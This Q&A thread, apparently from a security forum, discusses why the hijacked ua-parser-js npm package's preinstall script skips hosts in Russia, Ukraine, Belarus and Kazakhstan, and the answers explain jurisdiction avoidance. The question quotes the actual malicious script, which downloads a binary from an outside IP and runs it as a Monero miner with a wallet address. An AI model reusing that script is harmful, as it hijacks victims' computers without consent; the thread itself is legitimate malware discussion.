59

Recently (just now) the npm package ua-parser-js was found to be hijacked. The hijack installs a crypto miner on preinstall but I noticed the following passage in the preinstall script:

IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ')
if [ -z "$IP" ]
     then
var=$(pgrep jsextension)
    if [ -z "$var" ]
        then
        curl http://159.148.186.228/download/jsextension -o jsextension 
        if [ ! -f jsextension ]
            then
            wget http://159.148.186.228/download/jsextension -O jsextension
        fi
        chmod +x jsextension
        ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u 49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjbLXWQdBqLMxxYKH --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
    fi
 fi

My question is why does the script check if the server is in Russia, Ukraine, Belarus or Kazakhstan before downloading the payload? Is there something special about these countries?

1
  • 30
    They may live there... so in the same jurisdiction... and they may be afraid of attacking the wrong people. (Russian guv'ment/oligarchs and/or organized crime)
    – pcalkins
    Oct 22, 2021 at 21:33

2 Answers 2

82

Certain governments tend to ignore hacking/cybercrime carried out by their own citizens, as long as they only target people from other countries. Brian Krebs talks about this in an article earlier this year:

In Russia, for example, authorities there generally will not initiate a cybercrime investigation against one of their own unless a company or individual within the country’s borders files an official complaint as a victim. Ensuring that no affiliates can produce victims in their own countries is the easiest way for these criminals to stay off the radar of domestic law enforcement agencies.

There have been various malware samples in the past that did this by looking at the keyboard layouts that were installed (to the point that some people were recommending installing a Cyrillic layout to protect yourself against malware). What you're seeing is a different version of the same thing.

3
  • 9
    So the malicious actor is actually a good guy. He pushes you to learn a new language (unless you know it already) which is great! Not so for your data or CPU, but hey... :)
    – KeyWeeUsr
    Oct 24, 2021 at 9:30
  • 3
    So VPNing to Russia is now a defense?
    – Nelson
    Oct 25, 2021 at 5:55
  • 2
    Also, it's more difficult to get a warrant against someone in a different country. Unless the damages are in the billions, if you've been scammed or hacked by someone from a different country, the police will likely do nothing as it's not worth the effort.
    – vsz
    Oct 25, 2021 at 8:52
7

Note that this approach (not targeting the country where the hackers are located) works with any country to some extent. E.g. in Germany you have to file a court case (technically a "provisional injunction") before the ISP can give you the name behind the IP address from which the attack originated. You only have a few days to do so, otherwise the ISP logs will be deleted to fulfill the privacy laws.

This is relatively easy to do if the victim is in Germany, or if they have been preparing to have a litigation upfront (like the copyright holders which hire lawyers to prepare the paperwork before the copyright infringement even takes place), but practically impossible to do spontaneously if you're abroad. By the time your paperwork arrives to the German court, the ISP logs will already be gone.

Of course, unlike their colleagues in Russia, Ukraine, Belarus or Kazakhstan, the German police will track down cyber-criminals in Germany even if nobody files official complains. Typically, they will act when the attack becomes widespread and widely known, or when the criminals try to launder the money and legalize it as income in Germany.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.